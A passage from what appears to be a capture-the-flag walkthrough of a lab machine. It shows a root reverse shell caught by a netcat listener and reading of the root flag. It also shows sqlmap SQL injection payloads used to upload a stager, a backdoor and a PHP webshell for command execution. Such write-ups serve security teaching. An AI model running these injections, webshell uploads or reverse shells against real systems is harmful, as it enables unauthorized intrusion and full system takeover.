pepper@jarvis:~$ /bin/systemctl start privesc.service
/bin/systemctl start privesc.service
root@kali:~# nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.10.14.13] from (UNKNOWN)[10.10.10.143] 39858
id
uid=0(root)gid=0(root)groups=0(root)
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 1000
link/ether 00:50:56:b9:9b:05 brd ff:ff:ff:ff:ff:ff
inet 10.10.10.143/24 brd 10.10.10.255 scope global ens33
valid_lft forever preferred_lft forever
inet6 dead:beef::250:56ff:feb9:9b05/64 scope global mngtmpaddr dynamic
valid_lft 86325sec preferred_lft 14325sec
inet6 fe80::250:56ff:feb9:9b05/64 scope link
valid_lft forever preferred_lft forever
root.txt is in the directory “/root”.
ls-l /root
total 16
-rwxr--r-- 1 root root 42 Mar 4 2019 clean.sh
-r-------- 1 root root 33 Mar 5 2019 root.txt
-rwxr-xr-x 1 root root 5271 Mar 5 2019 sqli_defender.py
cat /root/root.txt
d41d8cd98f00b204e9800998ecf84271
4. Another way to get www-data shell
We have SQL injection here.
For this machine, we can use it to achieve a user shell.
4.1 –os-shell way
A way that we use SQLmap with “–os-shell” parameter
root@kali:~# sqlmap -u http://10.10.10.143/room.php?cod=1 --random-agent--os-shell
___
__H__
___ ___[(]_____ ___ ___ {1.3.10#stable}
|_ -| .['] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 19:22:26 /2019-11-10/
[19:22:26] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.1 Safari/532.0' from file '/usr/share/sqlmap/data/txt/user-agents.txt'[19:22:26] [INFO] resuming back-end DBMS 'mysql'[19:22:26] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cod (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cod=1 AND 3862=3862
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: cod=1 AND (SELECT 6380 FROM (SELECT(SLEEP(5)))sIAL)
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: cod=-3382 UNION ALL SELECT NULL,CONCAT(0x7176767871,0x724a4941577351594f52566f7673496e674b42744c4354476f78444c555252715565706d504c6474,0x7178717171),NULL,NULL,NULL,NULL,NULL-- AKaz
---[19:22:26] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9.0 (stretch)
web application technology: PHP, Apache 2.4.25
back-end DBMS: MySQL >= 5.0.12
[19:22:26] [INFO] going to use a web backdoor for command prompt
[19:22:26] [INFO] fingerprinting the back-end DBMS operating system
[19:22:26] [INFO] the back-end DBMS operating system is Linux
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)[19:22:28] [WARNING] unable to automatically retrieve the web server document root
what do you want to use for writable directory?
[1] common location(s)('/var/www/, /var/www/html, /var/www/htdocs, /usr/local/apache2/htdocs, /usr/local/www/data, /var/apache2/htdocs, /var/www/nginx-default, /srv/www/htdocs')(default)[2] custom location(s)[3] custom directory list file
[4] brute force search
[19:22:29] [INFO] retrieved web server absolute paths: '/images/'[19:22:29] [INFO] trying to upload the file stager on '/var/www/' via LIMIT 'LINES TERMINATED BY' method
[19:22:29] [WARNING] unable to upload the file stager on '/var/www/'[19:22:29] [INFO] trying to upload the file stager on '/var/www/' via UNION method
[19:22:29] [WARNING] expect junk characters inside the file as a leftover from UNION query
[19:22:29] [WARNING] it looks like the file has not been written (usually occurs if the DBMS process user has no write privileges in the destination path)[19:22:30] [INFO] trying to upload the file stager on '/var/www/html/' via LIMIT 'LINES TERMINATED BY' method
[19:22:30] [INFO] the file stager has been successfully uploaded on '/var/www/html/' - http://10.10.10.143:80/tmpusmti.php
[19:22:30] [INFO] the backdoor has been successfully uploaded on '/var/www/html/' - http://10.10.10.143:80/tmpbescf.php
[19:22:30] [INFO] calling OS shell. To quit type'x' or 'q' and press ENTER
os-shell> id
do you want to retrieve the command standard output? [Y/n/a] Y
command standard output: 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
os-shell>
4.2 –file-write way
A way that we use “–file-write” option of SQLmap.
Upload a webshell and manually run commands by forging http requests.
root@kali:~# sqlmap -u http://10.10.10.143/room.php?cod=1 --random-agent--file-write /usr/share/webshells/php/simple-backdoor.php --file-dest /var/www/html/cmd.php
___
__H__
___ ___["]_____ ___ ___ {1.3.10#stable}
|_ -| . ["] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 19:28:11 /2019-11-10/
[19:28:11] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.2.28) Gecko/20120306 Firefox/3.6.28' from file '/usr/share/sqlmap/data/txt/user-agents.txt'[19:28:11] [INFO] resuming back-end DBMS 'mysql'[19:28:11] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cod (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cod=1 AND 3862=3862
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: cod=1 AND (SELECT 6380 FROM (SELECT(SLEEP(5)))sIAL)
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: cod=-3382 UNION ALL SELECT NULL,CONCAT(0x7176767871,0x724a4941577351594f52566f7673496e674b42744c4354476f78444c555252715565706d504c6474,0x7178717171),NULL,NULL,NULL,NULL,NULL-- AKaz
---[19:28:11] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9.0 (stretch)
web application technology: PHP, Apache 2.4.25
back-end DBMS: MySQL >= 5.0.12
[19:28:11] [INFO] fingerprinting the back-end DBMS operating system
[19:28:11] [INFO] the back-end DBMS operating system is Linux
[19:28:11] [WARNING] expect junk characters inside the file as a leftover from UNION query
do you want confirmation that the local file '/usr/share/webshells/php/simple-backdoor.php' has been successfully written on the back-end DBMS file system ('/var/www/html/cmd.php')? [Y/n] Y
[19:28:18] [INFO] the remote file '/var/www/html/cmd.php' is larger (334 B) than the local file '/usr/share/webshells/php/simple-backdoor.php'(328B)[19:28:18] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.10.10.143'[*] ending @ 19:28:18 /2019-11-10/
root@kali:~#